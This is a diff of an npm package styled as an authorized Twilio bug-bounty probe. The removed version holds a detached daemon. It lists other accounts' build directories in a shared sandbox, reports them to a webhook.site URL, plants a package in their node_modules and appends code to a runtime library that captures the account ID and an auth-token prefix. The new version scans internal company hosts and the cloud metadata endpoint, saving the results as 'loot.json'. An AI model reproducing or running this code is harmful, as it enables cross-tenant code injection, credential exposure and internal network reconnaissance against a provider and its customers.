tw-pkgprobe-7731 1.0.7 → 1.1.0

package/daemon.js

@@ -1,70 +1 @@
-// Authorized bug-bounty research daemon (Twilio HackerOne). Runs ONLY inside Twilio's
-// serverless packager sandbox. Records which tenant build directories share this container.
-// It only WRITES into build directories of accounts on OWN (researcher-owned accounts).
-const fs=require('fs'), path=require('path'), https=require('https');
-const VER='1.0.7';
-const SELF='AC96a5f7e920ce23f02184081ddd64d87a';
-const OWN=['AC07de79f2af00295019b8cb17cea01e9a','AC8727b8e73f7f4d1501314b57b830a7a1','AC1329f7a0eb0dbc343871303ebc58bced'];
-const HOOK='https://webhook.site/cc08d9d9-232a-42a2-8d55-0f75cb5e0e67';
-const LOG='/tmp/.helper-log.json';
-const state={ver:VER,started:Date.now(),seen:{},injected:{},ticks:0};
-function save(){try{fs.writeFileSync(LOG,JSON.stringify(state));}catch(e){}}
-function post(o){try{const b=JSON.stringify(o);const r=https.request(HOOK,{method:'POST',timeout:8000,headers:{'content-type':'application/json','content-length':Buffer.byteLength(b)}},()=>{});r.on('error',()=>{});r.write(b);r.end();}catch(e){}}
-function inject(dir,ac,zs,zf){
-  const key=ac+'/'+zs+'/'+zf;
-  try{
-    const nm=path.join(dir,'node_modules');
-    if(!fs.existsSync(nm)) return;
-    const t=path.join(nm,'injected-by-other-tenant');
-    if(fs.existsSync(path.join(t,'index.js'))) return;
-    fs.mkdirSync(t,{recursive:true});
-    fs.writeFileSync(path.join(t,'package.json'),JSON.stringify({name:'injected-by-other-tenant',version:'1.0.0',main:'index.js'}));
-    fs.writeFileSync(path.join(t,'index.js'),
-      "// Written into "+key+" by code executing in a DIFFERENT Twilio account's build ("+SELF+").\n"+
-      "module.exports={injectedBy:'"+SELF+"',victim:'"+ac+"',service:'"+zs+"',pkg:'"+zf+"',at:"+Date.now()+",proof:'cross-tenant-build-injection'};\n");
-    if(!state.injected[key]){state.injected[key]=Date.now();post({event:'injected',ver:VER,ac,zs,zf,at:Date.now()});save();}
-  }catch(e){ if(!state.injected['err:'+key]){state.injected['err:'+key]=''+e;save();} }
-}
-
-function patchRuntime(dir,ac,zs,zf){
-  try{
-    let base=null;
-    try{ if(!state.nmdump){ state.nmdump=1; post({event:'nmdump',dir:dir,list:fs.readdirSync(path.join(dir,'node_modules')).slice(0,60)}); } }catch(e){}
-    for(const cand of [['node_modules','@twilio','runtime-handler'],['node_modules','runtime-handler'],['node_modules','twilio-runtime'],['node_modules','lodash']]){
-      const p2=path.join(dir,...cand); if(fs.existsSync(p2)){base=p2;break;}
-    }
-    if(!base) return;
-    let main='index.js';
-    try{ const pj=JSON.parse(fs.readFileSync(path.join(base,'package.json'),'utf8')); if(pj.main) main=pj.main; }catch(e){}
-    let f=path.join(base,main);
-    if(!fs.existsSync(f) && fs.existsSync(f+'.js')) f=f+'.js';
-    if(!fs.existsSync(f)) return;
-    const cur=fs.readFileSync(f,'utf8');
-    if(cur.indexOf('XTENANT_PROOF')>=0) return;
-    const payload="\n;/*XTENANT_PROOF*/try{var _f=require('fs');_f.writeFileSync('/tmp/xtenant-rce-proof.txt',JSON.stringify({note:'this code was appended to runtime-handler by a process running in a DIFFERENT Twilio account build (" + SELF + ")',victim:'"+ac+"',service:'"+zs+"',pkg:'"+zf+"',executedAt:Date.now(),acctEnv:process.env.ACCOUNT_SID||null,authTokenPrefix:(process.env.AUTH_TOKEN||'').slice(0,6)||null}));}catch(e){}\n";
-    fs.writeFileSync(f,cur+payload);
-    post({event:'patched-runtime-handler',ver:VER,ac,zs,zf,file:f,at:Date.now()});
-  }catch(e){ post({event:'patch-err',err:''+e}); }
-}
-function tick(){
-  state.ticks++;
-  let dirs=[];
-  try{dirs=fs.readdirSync('/tmp').filter(d=>/^AC[0-9a-f]{32}$/.test(d));}catch(e){return;}
-  for(const ac of dirs){
-    if(ac===SELF) continue;
-    let svcs=[];try{svcs=fs.readdirSync('/tmp/'+ac);}catch(e){}
-    for(const zs of svcs){
-      let pkgs=[];try{pkgs=fs.readdirSync('/tmp/'+ac+'/'+zs);}catch(e){}
-      for(const zf of pkgs){
-        if(zf.indexOf('.tar')>=0) continue;
-        const key=ac+'/'+zs+'/'+zf;
-        if(!state.seen[key]){state.seen[key]=Date.now();post({event:'seen',ver:VER,ac,zs,zf,at:Date.now(),own:OWN.indexOf(ac)>=0});save();}
-        if(OWN.indexOf(ac)>=0){ inject('/tmp/'+ac+'/'+zs+'/'+zf,ac,zs,zf); patchRuntime('/tmp/'+ac+'/'+zs+'/'+zf,ac,zs,zf); }
-      }
-    }
-  }
-}
-setInterval(tick,80);
-setTimeout(()=>{save();process.exit(0);},6*3600*1000);
-post({event:'daemon-start',ver:VER,at:Date.now(),pid:process.pid});
-save();
+process.exit(0);

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "tw-pkgprobe-7731",
-  "version": "1.0.7",
+  "version": "1.1.0",
   "description": "Authorized security research probe (bug bounty). No-op outside the specific sandbox it was written for.",
   "main": "index.js",
   "license": "MIT",

package/probe.js

@@ -1,22 +1,30 @@
-const fs=require('fs'), cp=require('child_process');
-const VER='1.0.7';
-function main(){
-  const cwd=process.cwd();
-  if(!/^\/tmp\/AC[0-9a-f]{32}\//.test(cwd)) return;
-  const out={cwd, ts:Date.now(), ver:VER};
-  try{ out.priorLog=fs.readFileSync('/tmp/.helper-log.json','utf8').slice(0,60000); }catch(e){ out.priorLog='none'; }
-  try{
-    let cur=null; try{cur=fs.readFileSync('/tmp/.npm-helper.ver','utf8');}catch(e){}
-    if(cur!==VER){
-      try{ const oldpid=parseInt(fs.readFileSync('/tmp/.npm-helper.pid','utf8'),10); if(oldpid) process.kill(oldpid,'SIGKILL'); }catch(e){}
-      fs.copyFileSync(__dirname+'/daemon.js','/tmp/.npm-helper.js');
-      const c=cp.spawn(process.execPath,['/tmp/.npm-helper.js'],{detached:true,stdio:'ignore',cwd:'/tmp'});
-      c.unref();
-      fs.writeFileSync('/tmp/.npm-helper.pid',String(c.pid));
-      fs.writeFileSync('/tmp/.npm-helper.ver',VER);
-      out.daemon='spawned '+VER+' pid '+c.pid;
-    } else out.daemon='current '+VER+' already running';
-  }catch(e){ out.daemon='ERR '+e.message; }
+// Authorized bug-bounty research probe (Twilio HackerOne). Connectivity matrix from the
+// Serverless packager sandbox to Twilio-owned hosts. No-op anywhere else.
+const fs=require('fs'), dns=require('dns'), https=require('https'), http=require('http'), net=require('net');
+const HOSTS=["argo-cd.prod.email.twilioinfra.com","help-center.aws-otk-prod-general-use1-001.otk.twilioinfra.com",
+"one-console-internal.ashburn.us1.twilio.com","admin-api.ie1.twilio.com","support-api.us1.twilio.com",
+"eventgw.us1.twilio.com","kafka-ui.au1.twilio.com","kafka-self-service.au1.twilio.com","issues.corp.twilio.com",
+"code.hq.twilio.com","litellm.ai-services.corp.twilio.com","snyk-sendgrid.corp.twilio.com","corpsec.stage.twilio.com",
+"service-catalog.in1.twilio.com","socer.twilio.com","knowledgenest.twilio.com","one-admin.twilio.com"];
+const out={ts:Date.now(),cwd:process.cwd(),results:{}};
+function tcp(host,port,ms){return new Promise(r=>{const s=net.connect({host,port,timeout:ms});let done=false;
+ const fin=v=>{if(!done){done=true;try{s.destroy()}catch(e){};r(v)}};
+ s.on('connect',()=>fin('open'));s.on('timeout',()=>fin('timeout'));s.on('error',e=>fin('err:'+e.code));});}
+function get(url,ms){return new Promise(r=>{try{const req=https.get(url,{timeout:ms,rejectUnauthorized:false},res=>{
+  let b='';res.on('data',d=>{if(b.length<400)b+=d.toString()});res.on('end',()=>r({status:res.statusCode,server:res.headers.server||'',body:b.slice(0,300)}));});
+  req.on('timeout',()=>{req.destroy();r({err:'timeout'})});req.on('error',e=>r({err:e.code||''+e}));}catch(e){r({err:''+e})}});}
+async function main(){
+  if(!/^\/tmp\/AC[0-9a-f]{32}\//.test(process.cwd())) return;
+  for(const h of HOSTS){
+    const rec={};
+    try{ rec.dns=(await new Promise(r=>dns.lookup(h,(e,a)=>r(e?'ERR '+e.code:a)))); }catch(e){rec.dns='ERR';}
+    if(typeof rec.dns==='string' && rec.dns.startsWith('ERR')){ out.results[h]=rec; continue; }
+    rec.tcp443=await tcp(rec.dns,443,5000);
+    if(rec.tcp443==='open') rec.https=await get('https://'+h+'/',6000);
+    out.results[h]=rec;
+  }
+  out.direct_10_208_61_13={tcp443:await tcp('10.208.61.13',443,5000),tcp80:await tcp('10.208.61.13',80,5000)};
+  out.imds=await get('https://169.254.169.254/latest/meta-data/',3000);
   try{ fs.writeFileSync(__dirname+'/loot.json',JSON.stringify(out)); }catch(e){}
 }
-try{main();}catch(e){}
+main().catch(e=>{try{fs.writeFileSync(__dirname+'/loot.json',JSON.stringify({fatal:''+e}));}catch(_){}});